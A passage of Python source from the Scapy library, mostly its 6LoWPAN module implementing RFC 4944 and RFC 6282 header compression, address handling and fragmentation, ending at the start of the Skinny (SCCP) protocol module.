scapy.compat import chb, orb, raw from scapy.data import ETHER_TYPES from scapy.packet import Packet, bind_layers, bind_top_down from scapy.fields import ( BitEnumField, BitField, BitLenField, BitScalingField, ByteEnumField, ByteField, ConditionalField, FieldLenField, MultipleTypeField, PacketField, PacketListField, StrFixedLenField, XBitField, XLongField, XShortField, ) from scapy.layers.dot15d4 import Dot15d4Data from scapy.layers.inet6 import ( IP6Field, IPv6, _IPv6ExtHdr, ipv6nh, ) from scapy.layers.inet import UDP from scapy.layers.l2 import Ether from scapy.utils import mac2str from scapy.config import conf from scapy.error import warning from scapy.packet import Raw from scapy.pton_ntop import inet_pton, inet_ntop from scapy.volatile import RandShort ETHER_TYPES[0xA0ED] = "6LoWPAN" LINK_LOCAL_PREFIX = b"\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # noqa: E501 ########## # Fields # ########## class IP6FieldLenField(IP6Field): __slots__ = ["length_of"] def __init__(self, name, default, length_of=None): IP6Field.__init__(self, name, default) self.length_of = length_of def addfield(self, pkt, s, val): """Add an internal value to a string""" tmp_len = self.length_of(pkt) if tmp_len == 0: return s internal = self.i2m(pkt, val)[-tmp_len:] return s + struct.pack("!%ds" % tmp_len, internal) def getfield(self, pkt, s): tmp_len = self.length_of(pkt) assert tmp_len >= 0 and tmp_len <= 16 if tmp_len <= 0: return s, b"" return (s[tmp_len:], self.m2i(pkt, b"\x00" * (16 - tmp_len) + s[:tmp_len])) ################# # Basic 6LoWPAN # ################# # https://tools.ietf.org/html/rfc4944 class LoWPANUncompressedIPv6(Packet): name = "6LoWPAN Uncompressed IPv6" fields_desc = [ BitField("_type", 0x41, 8) ] def default_payload_class(self, pay): return IPv6 # https://tools.ietf.org/html/rfc4944#section-5.2 class LoWPANMesh(Packet): name = "6LoWPAN Mesh Packet" deprecated_fields = { "_v": ("v", "2.4.4"), "_f": ("f", "2.4.4"), "_sourceAddr": ("src", "2.4.4"), "_destinyAddr": ("dst", "2.4.4"), } fields_desc = [ BitField("reserved", 0x2, 2), BitEnumField("v", 0x0, 1, ["EUI-64", "Short"]), BitEnumField("f", 0x0, 1, ["EUI-64", "Short"]), BitField("hopsLeft", 0x0, 4), MultipleTypeField( [(XShortField("src", 0x0), lambda pkt: pkt.v == 1)], XLongField("src", 0x0) ), MultipleTypeField( [(XShortField("dst", 0x0), lambda pkt: pkt.v == 1)], XLongField("dst", 0x0) ) ] # https://tools.ietf.org/html/rfc4944#section-10.1 # This implementation is NOT RECOMMENDED according to RFC 6282 class LoWPAN_HC2_UDP(Packet): name = "6LoWPAN HC1 UDP encoding" fields_desc = [ BitEnumField("sc", 0, 1, ["In-line", "Compressed"]), BitEnumField("dc", 0, 1, ["In-line", "Compressed"]), BitEnumField("lc", 0, 1, ["In-line", "Compressed"]), BitField("res", 0, 5), ] def default_payload_class(self, payload): return conf.padding_layer def _get_hc1_pad(pkt): """ Get LoWPAN_HC1 padding LoWPAN_HC1 is not recommended for several reasons, one of them being that padding is a mess (not 8-bit regular) We therefore add padding bits that are not in the spec to restore 8-bit parity. Wireshark seems to agree """ length = 0 # in bits, of the fields that are not //8 if not pkt.tc_fl: length += 20 if pkt.hc2: if pkt.nh == 1: length += pkt.hc2Field.sc * 4 length += pkt.hc2Field.dc * 4 return (-length) % 8 class LoWPAN_HC1(Packet): name = "LoWPAN_HC1 Compressed IPv6" fields_desc = [ # https://tools.ietf.org/html/rfc4944#section-10.1 ByteField("reserved", 0x42), BitEnumField("sp", 0, 1, ["In-line", "Compressed"]), BitEnumField("si", 0, 1, ["In-line", "Elided"]), BitEnumField("dp", 0, 1, ["In-line", "Compressed"]), BitEnumField("di", 0, 1, ["In-line", "Elided"]), BitEnumField("tc_fl", 0, 1, ["Not compressed", "zero"]), BitEnumField("nh", 0, 2, {0: "not compressed", 1: "UDP", 2: "ICMP", 3: "TCP"}), BitEnumField("hc2", 0, 1, ["No more header compression bits", "HC2 Present"]), # https://tools.ietf.org/html/rfc4944#section-10.2 ConditionalField( MultipleTypeField( [ (PacketField("hc2Field", LoWPAN_HC2_UDP(), LoWPAN_HC2_UDP), lambda pkt: pkt.nh == 1), # TODO: ICMP & TCP not implemented yet for HC1 # (PacketField("hc2Field", LoWPAN_HC2_ICMP(), # LoWPAN_HC2_ICMP), # lambda pkt: pkt.nh == 2), # (PacketField("hc2Field", LoWPAN_HC2_TCP(), # LoWPAN_HC2_TCP), # lambda pkt: pkt.nh == 3), ], StrFixedLenField("hc2Field", b"", 0), ), lambda pkt: pkt.hc2 ), # IPv6 header fields # https://tools.ietf.org/html/rfc4944#section-10.3.1 ByteField("hopLimit", 0x0), IP6FieldLenField("src", "::", lambda pkt: (0 if pkt.sp else 8) + (0 if pkt.si else 8)), IP6FieldLenField("dst", "::", lambda pkt: (0 if pkt.dp else 8) + (0 if pkt.di else 8)), ConditionalField( ByteField("traffic_class", 0), lambda pkt: not pkt.tc_fl ), ConditionalField( BitField("flow_label", 0, 20), lambda pkt: not pkt.tc_fl ), # Other fields # https://tools.ietf.org/html/rfc4944#section-10.3.2 ConditionalField( MultipleTypeField( [(BitScalingField("udpSourcePort", 0, 4, offset=0xF0B0), lambda pkt: getattr(pkt.hc2Field, "sc", 0))], BitField("udpSourcePort", 0, 16) ), lambda pkt: pkt.nh == 1 and pkt.hc2 ), ConditionalField( MultipleTypeField( [(BitScalingField("udpDestPort", 0, 4, offset=0xF0B0), lambda pkt: getattr(pkt.hc2Field, "dc", 0))], BitField("udpDestPort", 0, 16) ), lambda pkt: pkt.nh == 1 and pkt.hc2 ), ConditionalField( BitField("udpLength", 0, 16), lambda pkt: pkt.nh == 1 and pkt.hc2 and not pkt.hc2Field.lc ), ConditionalField( XBitField("udpChecksum", 0, 16), lambda pkt: pkt.nh == 1 and pkt.hc2 ), # Out of spec BitLenField("pad", 0, _get_hc1_pad) ] def post_dissect(self, data): # uncompress payload packet = IPv6() packet.version = IPHC_DEFAULT_VERSION packet.tc = self.traffic_class packet.fl = self.flow_label nh_match = { 1: socket.IPPROTO_UDP, 2: socket.IPPROTO_ICMP, 3: socket.IPPROTO_TCP } if self.nh: packet.nh = nh_match.get(self.nh) packet.hlim = self.hopLimit packet.src = self.decompressSourceAddr() packet.dst = self.decompressDestAddr() if self.hc2 and self.nh == 1: # UDP udp = UDP() udp.sport = self.udpSourcePort udp.dport = self.udpDestPort udp.len = self.udpLength or None udp.chksum = self.udpChecksum udp.add_payload(data) packet.add_payload(udp) else: packet.add_payload(data) data = raw(packet) return Packet.post_dissect(self, data) def decompressSourceAddr(self): if not self.sp and not self.si: # Prefix & Interface return self.src elif not self.si: # Only interface addr = inet_pton(socket.AF_INET6, self.src)[-8:] addr = LINK_LOCAL_PREFIX[:8] + addr else: # Interface not provided addr = _extract_upperaddress(self, source=True) self.src = inet_ntop(socket.AF_INET6, addr) return self.src def decompressDestAddr(self): if not self.dp and not self.di: # Prefix & Interface return self.dst elif not self.di: # Only interface addr = inet_pton(socket.AF_INET6, self.dst)[-8:] addr = LINK_LOCAL_PREFIX[:8] + addr else: # Interface not provided addr = _extract_upperaddress(self, source=False) self.dst = inet_ntop(socket.AF_INET6, addr) return self.dst def do_build(self): if not isinstance(self.payload, IPv6): return Packet.do_build(self) # IPv6 ipv6 = self.payload self.src = ipv6.src self.dst = ipv6.dst self.flow_label = ipv6.fl self.traffic_class = ipv6.tc self.hopLimit = ipv6.hlim if isinstance(ipv6.payload, UDP): self.nh = 1 self.hc2 = 1 udp = ipv6.payload self.udpSourcePort = udp.sport self.udpDestPort = udp.dport if not udp.len or not udp.chksum: udp = UDP(raw(udp)) self.udpLength = udp.len self.udpChecksum = udp.chksum return Packet.do_build(self) def do_build_payload(self): # Elide the IPv6 and UDP payload if isinstance(self.payload, IPv6): if isinstance(self.payload.payload, UDP): return raw(self.payload.payload.payload) return raw(self.payload.payload) return Packet.do_build_payload(self) # https://tools.ietf.org/html/rfc4944#section-5.3 class LoWPANFragmentationFirst(Packet): name = "6LoWPAN First Fragmentation Packet" fields_desc = [ BitField("reserved", 0x18, 5), BitField("datagramSize", 0x0, 11), XShortField("datagramTag", 0x0), ] class LoWPANFragmentationSubsequent(Packet): name = "6LoWPAN Subsequent Fragmentation Packet" fields_desc = [ BitField("reserved", 0x1C, 5), BitField("datagramSize", 0x0, 11), XShortField("datagramTag", RandShort()), ByteField("datagramOffset", 0x0), # VALUE PRINTED IN OCTETS, wireshark does in bits (128 bits == 16 octets) # noqa: E501 ] # https://tools.ietf.org/html/rfc4944#section-11.1 class LoWPANBroadcast(Packet): name = "6LoWPAN Broadcast" fields_desc = [ ByteField("reserved", 0x50), ByteField("seq", 0) ] ######################### # LoWPAN_IPHC (RFC6282) # ######################### IPHC_DEFAULT_VERSION = 6 IPHC_DEFAULT_TF = 0 IPHC_DEFAULT_FL = 0 def source_addr_size(pkt): """Source address size This function depending on the arguments returns the amount of bits to be used by the source address. Keyword arguments: pkt -- packet object instance """ if pkt.sac == 0x0: if pkt.sam == 0x0: return 16 elif pkt.sam == 0x1: return 8 elif pkt.sam == 0x2: return 2 elif pkt.sam == 0x3: return 0 else: if pkt.sam == 0x0: return 0 elif pkt.sam == 0x1: return 8 elif pkt.sam == 0x2: return 2 elif pkt.sam == 0x3: return 0 def dest_addr_size(pkt): """Destination address size This function depending on the arguments returns the amount of bits to be used by the destination address. Keyword arguments: pkt -- packet object instance """ if pkt.m == 0 and pkt.dac == 0: if pkt.dam == 0x0: return 16 elif pkt.dam == 0x1: return 8 elif pkt.dam == 0x2: return 2 else: return 0 elif pkt.m == 0 and pkt.dac == 1: if pkt.dam == 0x0: # reserved return 0 elif pkt.dam == 0x1: return 8 elif pkt.dam == 0x2: return 2 else: return 0 elif pkt.m == 1 and pkt.dac == 0: if pkt.dam == 0x0: return 16 elif pkt.dam == 0x1: return 6 elif pkt.dam == 0x2: return 4 elif pkt.dam == 0x3: return 1 elif pkt.m == 1 and pkt.dac == 1: if pkt.dam == 0x0: return 6 elif pkt.dam == 0x1: # reserved return 0 elif pkt.dam == 0x2: # reserved return 0 elif pkt.dam == 0x3: # reserved return 0 def _extract_upperaddress(pkt, source=True): """This function extracts the source/destination address of a 6LoWPAN from its upper layer. (Upper layer could be 802.15.4 data, Ethernet...) params: - source: if True, the address is the source one. Otherwise, it is the destination. returns: (upper_address, ipv6_address) """ # https://tools.ietf.org/html/rfc6282#section-3.2.2 SUPPORTED_LAYERS = (Ether, Dot15d4Data) underlayer = pkt.underlayer while underlayer and not isinstance(underlayer, SUPPORTED_LAYERS): underlayer = underlayer.underlayer # Extract and process address if type(underlayer) == Ether: addr = mac2str(underlayer.src if source else underlayer.dst) # https://tools.ietf.org/html/rfc2464#section-4 return LINK_LOCAL_PREFIX[:8] + addr[:3] + b"\xff\xfe" + addr[3:] elif type(underlayer) == Dot15d4Data: if source: addr = underlayer.src_addr addrmode = underlayer.underlayer.fcf_srcaddrmode else: addr = underlayer.dest_addr addrmode = underlayer.underlayer.fcf_destaddrmode addr = struct.pack(">Q", addr) if addrmode == 3: # Extended/long tmp_ip = LINK_LOCAL_PREFIX[0:8] + addr # Turn off the bit 7. return tmp_ip[0:8] + struct.pack("B", (orb(tmp_ip[8]) ^ 0x2)) + tmp_ip[9:16] # noqa: E501 elif addrmode == 2: # Short return ( LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + addr[6:] ) else: # Most of the times, it's necessary the IEEE 802.15.4 data to extract # this address, sometimes another layer. warning( 'Unimplemented: Unsupported upper layer: %s' % type(underlayer) ) return b"\x00" * 16 class LoWPAN_IPHC(Packet): """6LoWPAN IPv6 header compressed packets It follows the implementation of RFC6282 """ __slots__ = ["_ipv6"] # the LOWPAN_IPHC encoding utilizes 13 bits, 5 dispatch type name = "LoWPAN IP Header Compression Packet" _address_modes = ["Unspecified (0)", "1", "16-bits inline (3)", "Compressed (3)"] _state_mode = ["Stateless (0)", "Stateful (1)"] deprecated_fields = { "_nhField": ("nhField", "2.4.4"), "_hopLimit": ("hopLimit", "2.4.4"), "sourceAddr": ("src", "2.4.4"), "destinyAddr": ("dst", "2.4.4"), "udpDestinyPort": ("udpDestPort", "2.4.4"), } fields_desc = [ # Base Format https://tools.ietf.org/html/rfc6282#section-3.1.2 BitField("_reserved", 0x03, 3), BitField("tf", 0x0, 2), BitEnumField("nh", 0x0, 1, ["Inline", "Compressed"]), BitEnumField("hlim", 0x0, 2, {0: "Inline", 1: "Compressed/HL1", 2: "Compressed/HL64", 3: "Compressed/HL255"}), BitEnumField("cid", 0x0, 1, {1: "Present (1)"}), BitEnumField("sac", 0x0, 1, _state_mode), BitEnumField("sam", 0x0, 2, _address_modes), BitEnumField("m", 0x0, 1, {1: "multicast (1)"}), BitEnumField("dac", 0x0, 1, _state_mode), BitEnumField("dam", 0x0, 2, _address_modes), # https://tools.ietf.org/html/rfc6282#section-3.1.2 # Context Identifier Extension ConditionalField( BitField("sci", 0, 4), lambda pkt: pkt.cid == 0x1 ), ConditionalField( BitField("dci", 0, 4), lambda pkt: pkt.cid == 0x1 ), # https://tools.ietf.org/html/rfc6282#section-3.2.1 ConditionalField( BitField("tc_ecn", 0, 2), lambda pkt: pkt.tf in [0, 1, 2] ), ConditionalField( BitField("tc_dscp", 0, 6), lambda pkt: pkt.tf in [0, 2], ), ConditionalField( MultipleTypeField( [(BitField("rsv", 0, 4), lambda pkt: pkt.tf == 0)], BitField("rsv", 0, 2), ), lambda pkt: pkt.tf in [0, 1] ), ConditionalField( BitField("flowlabel", 0, 20), lambda pkt: pkt.tf in [0, 1] ), # Inline fields https://tools.ietf.org/html/rfc6282#section-3.1.1 ConditionalField( ByteEnumField("nhField", 0x0, ipv6nh), lambda pkt: pkt.nh == 0x0 ), ConditionalField( ByteField("hopLimit", 0x0), lambda pkt: pkt.hlim == 0x0 ), # The src and dst fields are filled up or removed in the # pre_dissect and post_build, depending on the other options. IP6FieldLenField("src", "::", length_of=source_addr_size), IP6FieldLenField("dst", "::", length_of=dest_addr_size), # problem when it's 0 # noqa: E501 ] def post_dissect(self, data): """dissect the IPv6 package compressed into this IPHC packet. The packet payload needs to be decompressed and depending on the arguments, several conversions should be done. """ # uncompress payload packet = IPv6() packet.tc, packet.fl = self._getTrafficClassAndFlowLabel() if not self.nh: packet.nh = self.nhField # HLIM: Hop Limit if self.hlim == 0: packet.hlim = self.hopLimit elif self.hlim == 0x1: packet.hlim = 1 elif self.hlim == 0x2: packet.hlim = 64 else: packet.hlim = 255 packet.src = self.decompressSourceAddr(packet) packet.dst = self.decompressDestAddr(packet) pay_cls = self.guess_payload_class(data) if pay_cls == IPv6: packet.add_payload(data) data = raw(packet) elif pay_cls == LoWPAN_NHC: self._ipv6 = packet return Packet.post_dissect(self, data) def decompressDestAddr(self, packet): # https://tools.ietf.org/html/rfc6282#section-3.1.1 try: tmp_ip = inet_pton(socket.AF_INET6, self.dst) except socket.error: tmp_ip = b"\x00" * 16 if self.m == 0 and self.dac == 0: if self.dam == 0: # Address fully carried pass elif self.dam == 1: tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[-8:] elif self.dam == 2: tmp_ip = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + tmp_ip[-2:] # noqa: E501 elif self.dam == 3: tmp_ip = _extract_upperaddress(self, source=False) elif self.m == 0 and self.dac == 1: if self.dam == 0: # reserved pass elif self.dam == 0x3: # should use context IID + encapsulating header tmp_ip = _extract_upperaddress(self, source=False) elif self.dam not in [0x1, 0x2]: # https://tools.ietf.org/html/rfc6282#page-9 # Should use context information: unimplemented pass elif self.m == 1 and self.dac == 0: if self.dam == 0: # Address fully carried pass elif self.dam == 1: tmp = b"\xff" + chb(tmp_ip[16 - dest_addr_size(self)]) tmp_ip = tmp + b"\x00" * 9 + tmp_ip[-5:] elif self.dam == 2: tmp = b"\xff" + chb(tmp_ip[16 - dest_addr_size(self)]) tmp_ip = tmp + b"\x00" * 11 + tmp_ip[-3:] else: # self.dam == 3: tmp_ip = b"\xff\x02" + b"\x00" * 13 + tmp_ip[-1:] elif self.m == 1 and self.dac == 1: if self.dam == 0x0: # https://tools.ietf.org/html/rfc6282#page-10 # https://github.com/wireshark/wireshark/blob/f54611d1104d85a425e52c7318c522ed249916b6/epan/dissectors/packet-6lowpan.c#L2149-L2166 # Format: ffXX:XXLL:PPPP:PPPP:PPPP:PPPP:XXXX:XXXX # P and L should be retrieved from context P = b"\x00" * 16 L = b"\x00" X = tmp_ip[-6:] tmp_ip = b"\xff" + X[:2] + L + P[:8] + X[2:6] else: # all the others values: reserved pass self.dst = inet_ntop(socket.AF_INET6, tmp_ip) return self.dst def compressSourceAddr(self, ipv6): # https://tools.ietf.org/html/rfc6282#section-3.1.1 tmp_ip = inet_pton(socket.AF_INET6, ipv6.src) if self.sac == 0: if self.sam == 0x0: pass elif self.sam == 0x1: tmp_ip = tmp_ip[8:16] elif self.sam == 0x2: tmp_ip = tmp_ip[14:16] else: # self.sam == 0x3: pass else: # self.sac == 1 if self.sam == 0x0: tmp_ip = b"\x00" * 16 elif self.sam == 0x1: tmp_ip = tmp_ip[8:16] elif self.sam == 0x2: tmp_ip = tmp_ip[14:16] self.src = inet_ntop(socket.AF_INET6, b"\x00" * (16 - len(tmp_ip)) + tmp_ip) # noqa: E501 return self.src def compressDestAddr(self, ipv6): # https://tools.ietf.org/html/rfc6282#section-3.1.1 tmp_ip = inet_pton(socket.AF_INET6, ipv6.dst) if self.m == 0 and self.dac == 0: if self.dam == 0x0: pass elif self.dam == 0x1: tmp_ip = b"\x00" * 8 + tmp_ip[8:16] elif self.dam == 0x2: tmp_ip = b"\x00" * 14 + tmp_ip[14:16] elif self.m == 0 and self.dac == 1: if self.dam == 0x1: tmp_ip = b"\x00" * 8 + tmp_ip[8:16] elif self.dam == 0x2: tmp_ip = b"\x00" * 14 + tmp_ip[14:16] elif self.m == 1 and self.dac == 0: if self.dam == 0x0: pass if self.dam == 0x1: tmp_ip = b"\x00" * 10 + tmp_ip[1:2] + tmp_ip[11:16] elif self.dam == 0x2: tmp_ip = b"\x00" * 12 + tmp_ip[1:2] + tmp_ip[13:16] elif self.dam == 0x3: tmp_ip = b"\x00" * 15 + tmp_ip[15:16] elif self.m == 1 and self.dac == 1: if self.dam == 0: tmp_ip = b"\x00" * 10 + tmp_ip[1:3] + tmp_ip[12:16] self.dst = inet_ntop(socket.AF_INET6, tmp_ip) def decompressSourceAddr(self, packet): # https://tools.ietf.org/html/rfc6282#section-3.1.1 try: tmp_ip = inet_pton(socket.AF_INET6, self.src) except socket.error: tmp_ip = b"\x00" * 16 if self.sac == 0: if self.sam == 0x0: # Full address is carried in-line pass elif self.sam == 0x1: tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[16 - source_addr_size(self):16] # noqa: E501 elif self.sam == 0x2: tmp = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" tmp_ip = tmp + tmp_ip[16 - source_addr_size(self):16] elif self.sam == 0x3: # Taken from encapsulating header tmp_ip = _extract_upperaddress(self, source=True) else: # self.sac == 1: if self.sam == 0x0: # Unspecified address :: pass elif self.sam == 0x1: # should use context IID pass elif self.sam == 0x2: # should use context IID tmp = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" tmp_ip = tmp + tmp_ip[16 - source_addr_size(self):16] elif self.sam == 0x3: # should use context IID tmp_ip = LINK_LOCAL_PREFIX[0:8] + b"\x00" * 8 self.src = inet_ntop(socket.AF_INET6, tmp_ip) return self.src def guess_payload_class(self, payload): if self.nh: return LoWPAN_NHC u = self.underlayer if u and isinstance(u, (LoWPANFragmentationFirst, LoWPANFragmentationSubsequent)): return Raw return IPv6 def do_build(self): _cur = self if isinstance(_cur.payload, LoWPAN_NHC): _cur = _cur.payload if not isinstance(_cur.payload, IPv6): return Packet.do_build(self) ipv6 = _cur.payload self._reserved = 0x03 # NEW COMPRESSION TECHNIQUE! # a ) Compression Techniques # 1. Set Traffic Class if self.tf == 0x0: self.tc_ecn = ipv6.tc >> 6 self.tc_dscp = ipv6.tc & 0x3F self.flowlabel = ipv6.fl elif self.tf == 0x1: self.tc_ecn = ipv6.tc >> 6 self.flowlabel = ipv6.fl elif self.tf == 0x2: self.tc_ecn = ipv6.tc >> 6 self.tc_dscp = ipv6.tc & 0x3F else: # self.tf == 0x3: pass # no field is set # 2. Next Header if self.nh == 0x0: self.nhField = ipv6.nh elif self.nh == 1: # This will be handled in LoWPAN_NHC pass # 3. HLim if self.hlim == 0x0: self.hopLimit = ipv6.hlim else: # if hlim is 1, 2 or 3, there are nothing to do! pass # 4. Context (which context to use...) if self.cid == 0x0: pass else: # TODO: Context Unimplemented yet pass # 5. Compress Source Addr self.compressSourceAddr(ipv6) self.compressDestAddr(ipv6) return Packet.do_build(self) def do_build_payload(self): # Elide the IPv6 payload if isinstance(self.payload, IPv6): return raw(self.payload.payload) return Packet.do_build_payload(self) def _getTrafficClassAndFlowLabel(self): """Page 6, draft feb 2011 """ if self.tf == 0x0: return (self.tc_ecn << 6) + self.tc_dscp, self.flowlabel elif self.tf == 0x1: return (self.tc_ecn << 6), self.flowlabel elif self.tf == 0x2: return (self.tc_ecn << 6) + self.tc_dscp, 0 else: return 0, 0 ############## # LOWPAN_NHC # ############## # https://tools.ietf.org/html/rfc6282#section-4 class LoWPAN_NHC_Hdr(Packet): @classmethod def get_next_cls(cls, s): if s and len(s) >= 2: fb = ord(s[:1]) if fb >> 3 == 0x1e: return LoWPAN_NHC_UDP if fb >> 4 == 0xe: return LoWPAN_NHC_IPv6Ext return None @classmethod def dispatch_hook(cls, _pkt=b"", *args, **kargs): return LoWPAN_NHC_Hdr.get_next_cls(_pkt) or LoWPAN_NHC_Hdr def extract_padding(self, s): return b"", s class LoWPAN_NHC_UDP(LoWPAN_NHC_Hdr): fields_desc = [ BitField("res", 0x1e, 5), BitField("C", 0, 1), BitField("P", 0, 2), MultipleTypeField( [(BitField("udpSourcePort", 0, 16), lambda pkt: pkt.P in [0, 1]), (BitField("udpSourcePort", 0, 8), lambda pkt: pkt.P == 2), (BitField("udpSourcePort", 0, 4), lambda pkt: pkt.P == 3)], BitField("udpSourcePort", 0x0, 16), ), MultipleTypeField( [(BitField("udpDestPort", 0, 16), lambda pkt: pkt.P in [0, 2]), (BitField("udpDestPort", 0, 8), lambda pkt: pkt.P == 1), (BitField("udpDestPort", 0, 4), lambda pkt: pkt.P == 3)], BitField("udpDestPort", 0x0, 16), ), ConditionalField( XShortField("udpChecksum", 0x0), lambda pkt: pkt.C == 0 ), ] _lowpan_nhc_ipv6ext_eid = { 0: "Hop-by-hop Options Header", 1: "IPv6 Routing Header", 2: "IPv6 Fragment Header", 3: "IPv6 Destination Options Header", 4: "IPv6 Mobility Header", 7: "IPv6 Header", } class LoWPAN_NHC_IPv6Ext(LoWPAN_NHC_Hdr): fields_desc = [ BitField("res", 0xe, 4), BitEnumField("eid", 0, 3, _lowpan_nhc_ipv6ext_eid), BitField("nh", 0, 1), ConditionalField( ByteField("nhField", 0), lambda pkt: pkt.nh == 0 ), FieldLenField("len", None, length_of="data", fmt="B"), StrFixedLenField("data", b"", length_from=lambda pkt: pkt.len) ] def post_build(self, p, pay): if self.len is None: offs = (not self.nh) + 1 p = p[:offs] + struct.pack("!B", len(p) - offs) + p[offs + 1:] return p + pay class LoWPAN_NHC(Packet): name = "LOWPAN_NHC" fields_desc = [ PacketListField( "exts", [], pkt_cls=LoWPAN_NHC_Hdr, next_cls_cb=lambda *s: LoWPAN_NHC_Hdr.get_next_cls(s[3]) ) ] def post_dissect(self, data): if not self.underlayer or not hasattr(self.underlayer, "_ipv6"): return data if self.guess_payload_class(data) != IPv6: return data # Underlayer is LoWPAN_IPHC packet = self.underlayer._ipv6 try: ipv6_hdr = next( x for x in self.exts if isinstance(x, LoWPAN_NHC_IPv6Ext) ) except StopIteration: ipv6_hdr = None if ipv6_hdr: # XXX todo: implement: append the IPv6 extension # packet = packet / ipv6extension pass try: udp_hdr = next( x for x in self.exts if isinstance(x, LoWPAN_NHC_UDP) ) except StopIteration: udp_hdr = None if udp_hdr: packet.nh = 0x11 # UDP udp = UDP() # https://tools.ietf.org/html/rfc6282#section-4.3.3 if udp_hdr.C == 0: udp.chksum = udp_hdr.udpChecksum if udp_hdr.P == 0: udp.sport = udp_hdr.udpSourcePort udp.dport = udp_hdr.udpDestPort elif udp_hdr.P == 1: udp.sport = udp_hdr.udpSourcePort udp.dport = 0xF000 + udp_hdr.udpDestPort elif udp_hdr.P == 2: udp.sport = 0xF000 + udp_hdr.udpSourcePort udp.dport = udp_hdr.udpDestPort elif udp_hdr.P == 3: udp.sport = 0xF0B0 + udp_hdr.udpSourcePort udp.dport = 0xF0B0 + udp_hdr.udpDestPort packet.lastlayer().add_payload(udp / data) else: packet.lastlayer().add_payload(data) data = raw(packet) return Packet.post_dissect(self, data) def do_build(self): if not isinstance(self.payload, IPv6): return Packet.do_build(self) pay = self.payload.payload while pay and isinstance(pay.payload, _IPv6ExtHdr): # XXX todo: populate a LoWPAN_NHC_IPv6Ext pay = pay.payload if isinstance(pay, UDP): try: udp_hdr = next( x for x in self.exts if isinstance(x, LoWPAN_NHC_UDP) ) except StopIteration: udp_hdr = LoWPAN_NHC_UDP() # Guess best compression if pay.sport >> 4 == 0xf0b and pay.dport >> 4 == 0xf0b: udp_hdr.P = 3 elif pay.sport >> 8 == 0xf0: udp_hdr.P = 2 elif pay.dport >> 8 == 0xf0: udp_hdr.P = 1 self.exts.insert(0, udp_hdr) # https://tools.ietf.org/html/rfc6282#section-4.3.3 if udp_hdr.P == 0: udp_hdr.udpSourcePort = pay.sport udp_hdr.udpDestPort = pay.dport elif udp_hdr.P == 1: udp_hdr.udpSourcePort = pay.sport udp_hdr.udpDestPort = pay.dport & 255 elif udp_hdr.P == 2: udp_hdr.udpSourcePort = pay.sport & 255 udp_hdr.udpDestPort = pay.dport elif udp_hdr.P == 3: udp_hdr.udpSourcePort = pay.sport & 15 udp_hdr.udpDestPort = pay.dport & 15 if udp_hdr.C == 0: if pay.chksum: udp_hdr.udpChecksum = pay.chksum else: udp_hdr.udpChecksum = UDP(raw(pay)).chksum return Packet.do_build(self) def do_build_payload(self): # Elide IPv6 payload, extensions and UDP if isinstance(self.payload, IPv6): cur = self.payload while cur and isinstance(cur, (IPv6, UDP)): cur = cur.payload return raw(cur) return Packet.do_build_payload(self) def guess_payload_class(self, payload): if self.underlayer: u = self.underlayer.underlayer if isinstance(u, (LoWPANFragmentationFirst, LoWPANFragmentationSubsequent)): return Raw return IPv6 ###################### # 6LowPan Dispatcher # ###################### # https://tools.ietf.org/html/rfc4944#section-5.1 class SixLoWPAN_ESC(Packet): name = "SixLoWPAN Dispatcher ESC" fields_desc = [ByteField("dispatch", 0)] class SixLoWPAN(Packet): name = "SixLoWPAN Dispatcher" @classmethod def dispatch_hook(cls, _pkt=b"", *args, **kargs): """Depending on the payload content, the frame type we should interpret""" if _pkt and len(_pkt) >= 1: fb = ord(_pkt[:1]) if fb == 0x41: return LoWPANUncompressedIPv6 if fb == 0x42: return LoWPAN_HC1 if fb == 0x50: return LoWPANBroadcast if fb == 0x7f: return SixLoWPAN_ESC if fb >> 3 == 0x18: return LoWPANFragmentationFirst if fb >> 3 == 0x1C: return LoWPANFragmentationSubsequent if fb >> 6 == 0x02: return LoWPANMesh if fb >> 6 == 0x01: return LoWPAN_IPHC return cls ################# # Fragmentation # ################# # fragmentate IPv6 MAX_SIZE = 96 def sixlowpan_fragment(packet, datagram_tag=1): """Split a packet into different links to transmit as 6lowpan packets. Usage example:: >>> ipv6 = ..... (very big packet) >>> pkts = sixlowpan_fragment(ipv6, datagram_tag=0x17) >>> send = [Dot15d4()/Dot15d4Data()/x for x in pkts] >>> wireshark(send) """ if not packet.haslayer(IPv6): raise Exception("SixLoWPAN only fragments IPv6 packets !") str_packet = raw(packet[IPv6]) if len(str_packet) <= MAX_SIZE: return [packet] def chunks(li, n): return [li[i:i + n] for i in range(0, len(li), n)] new_packet = chunks(str_packet, MAX_SIZE) new_packet[0] = LoWPANFragmentationFirst(datagramTag=datagram_tag, datagramSize=len(str_packet)) / new_packet[0] # noqa: E501 i = 1 while i < len(new_packet): new_packet[i] = LoWPANFragmentationSubsequent(datagramTag=datagram_tag, datagramSize=len(str_packet), datagramOffset=MAX_SIZE // 8 * i) / new_packet[i] # noqa: E501 i += 1 return new_packet def sixlowpan_defragment(packet_list): results = {} for p in packet_list: cls = None if LoWPANFragmentationFirst in p: cls = LoWPANFragmentationFirst elif LoWPANFragmentationSubsequent in p: cls = LoWPANFragmentationSubsequent if cls: tag = p[cls].datagramTag results[tag] = results.get(tag, b"") + p[cls].payload.load # noqa: E501 return {tag: SixLoWPAN(x) for tag, x in results.items()} ############ # Bindings # ############ bind_layers(LoWPAN_HC1, IPv6) bind_top_down(LoWPAN_IPHC, LoWPAN_NHC, nh=1) bind_layers(LoWPANFragmentationFirst, SixLoWPAN) bind_layers(LoWPANMesh, SixLoWPAN) bind_layers(LoWPANBroadcast, SixLoWPAN) bind_layers(Ether, SixLoWPAN, type=0xA0ED) ================================================ FILE: scapy/layers/skinny.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Skinny Call Control Protocol (SCCP) """ from scapy.packet import Packet, bind_layers from scapy.fields import LEIntField, LEIntEnumField from scapy.layers.inet import TCP # shamelessly ripped from Ethereal dissector skinny_messages = { # Station -> Callmanager 0x0000: "KeepAliveMessage", 0x0001: "RegisterMessage", 0x0002: "IpPortMessage", 0x0003: 